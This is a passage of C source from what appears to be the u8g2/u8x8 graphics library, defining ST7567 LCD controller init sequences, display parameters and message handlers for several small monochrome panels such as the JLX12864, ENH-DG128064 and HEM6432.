u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7567 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7567 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n\n/*=====================================================*/\n\n\nstatic const u8x8_display_info_t u8x8_st7567_jlx12864_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* */\n  /* sck_pulse_width_ns = */ 120,\t/* */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* */\n  /* write_pulse_width_ns = */ 80,\t/* */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_st7567_jlx12864_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a3),\t\t                /* LCD bias 1/7 */\n  /* power on sequence from paxinstruments */\n  U8X8_C(0x028|4),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|6),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|7),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x023),\t\t                /* v0 voltage resistor ratio */\n  U8X8_CA(0x081, 42>>2),\t\t/* set contrast, contrast value*/\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* JLX12864 display */\nuint8_t u8x8_d_st7567_jlx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_jlx12864_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_st7567_jlx12864_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7567 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7567 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=====================================================*/\n\n/* Sinda Display (sindadisplay.com), SDGG 2232-07 */\n/* Issue 1759, 122x32 display, https://github.com/olikraus/u8g2/files/7894362/SDGG12232-07.pdf */\n/* copied from jlx12864 */\n\nstatic const uint8_t u8x8_d_st7567_122x32_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x040+32),\t\t                /* set display start line to 32 */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7567_122x32_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x040+0),\t\t                /* set display start line to 0 */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7567_122x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* */\n  /* sck_pulse_width_ns = */ 120,\t/* */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* */\n  /* write_pulse_width_ns = */ 80,\t/* */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 122,\n  /* pixel_height = */ 32\n};\n\nstatic const uint8_t u8x8_st7567_122x32_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040+32),\t\t                /* set display start line to 32 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  \n  \n  /* I think datasheet of the 122x32 display suggest to use 0x0a2 instead of 0xa3 here */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/6 @1/33 duty */\n  /* power on sequence from paxinstruments */\n  U8X8_C(0x028|4),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|6),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|7),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x023),\t\t                /* v0 voltage resistor ratio */\n  U8X8_CA(0x081, 42>>2),\t\t/* set contrast, contrast value*/\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* 122x32 display, issue 1759 */\nuint8_t u8x8_d_st7567_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_122x32_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_st7567_122x32_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_122x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_122x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7567 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7567 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=====================================================*/\n\n\n\nstatic const u8x8_display_info_t u8x8_st7567_enh_dg128064_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* */\n  /* sck_pulse_width_ns = */ 120,\t/* */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* */\n  /* write_pulse_width_ns = */ 80,\t/* */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 4,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nstatic const u8x8_display_info_t u8x8_st7567_enh_dg128064i_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* */\n  /* sck_pulse_width_ns = */ 120,\t/* */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* */\n  /* write_pulse_width_ns = */ 80,\t/* */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_st7567_enh_dg128064_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  /* power on sequence from paxinstruments */\n  U8X8_C(0x028|4),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|6),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|7),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x023),\t\t                /* v0 voltage resistor ratio */\n  U8X8_CA(0x081, 200>>2),\t\t/* set contrast, contrast value*/\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* ENH-DG128064 transparent display */\nstatic uint8_t u8x8_d_st7567_enh_dg128064_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_enh_dg128064_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_st7567_enh_dg128064_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7567 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7567 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nuint8_t u8x8_d_st7567_enh_dg128064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_enh_dg128064_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_n_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_n_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n    default:\n      return u8x8_d_st7567_enh_dg128064_generic(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\nuint8_t u8x8_d_st7567_enh_dg128064i(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_enh_dg128064i_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n    default:\n      return u8x8_d_st7567_enh_dg128064_generic(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n/*=====================================================*/\n/* issue 657 */\n\nstatic const u8x8_display_info_t u8x8_st7567_64x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* */\n  /* sck_pulse_width_ns = */ 120,\t/* */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* */\n  /* write_pulse_width_ns = */ 80,\t/* */\n  /* tile_width = */ 8,\t\t\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 32,\n  /* flipmode_x_offset = */ 32,\n  /* pixel_width = */ 64,\n  /* pixel_height = */ 32\n};\n\nstatic const uint8_t u8x8_st7567_64x32_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC  */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x028|4),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|6),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|7),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x024),\t\t                /* v0 voltage resistor ratio, taken from issue 657 */\n  U8X8_CA(0x081, 0x020),\t\t/* set contrast, contrast value*/\n  /* 18 Apr 2020: the value 0x080 does not make sense, only 6 bit are supported\n  for contrast, changed to 0x040 */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st7567_64x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_64x32_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_st7567_64x32_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\t\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int >> 2 );\t/* st7567 has range from 0 to 63 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n    \n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 8;\n      x += u8x8->x_offset;\n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendCmd(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendCmd(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\n    \n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n      c *= 8;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n      /* \n\tThe following if condition checks the hardware limits of the st7567 \n\tcontroller: It is not allowed to write beyond the display limits.\n\tThis is in fact an issue within flip mode.\n      */\n      if ( c + x > 132u )\n      {\n\tc = 132u;\n\tc -= x;\n      }\n      do\n      {\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes */\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=====================================================*/\n/* issue 1159, Lummax HEM6432-03 */\n\n\nstatic const u8x8_display_info_t u8x8_st7567_hem6432_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* */\n  /* sck_pulse_width_ns = */ 120,\t/* */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* */\n  /* write_pulse_width_ns = */ 80,\t/* */\n  /* tile_width = */ 8,\t\t\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 36,\t\t/* issue 1159 */\n  /* flipmode_x_offset = */ 32,\t\t/* issue 1159 */\n  /* pixel_width = */ 64,\n  /* pixel_height = */ 32\n};\n\nstatic const uint8_t u8x8_st7567_hem6432_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC  */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x028|4),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|6),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|7),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x024),\t\t                /* v0 voltage resistor ratio, taken from issue 657 */\n  U8X8_CA(0x081, 225/4),\t\t/* set contrast, contrast value as suggested inissue 1159 */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_st7567_hem6432(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_hem6432_display_info);\n      u8x8->i2c_address = 0x07e;  /* issue 1159, use different i2c address */\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, 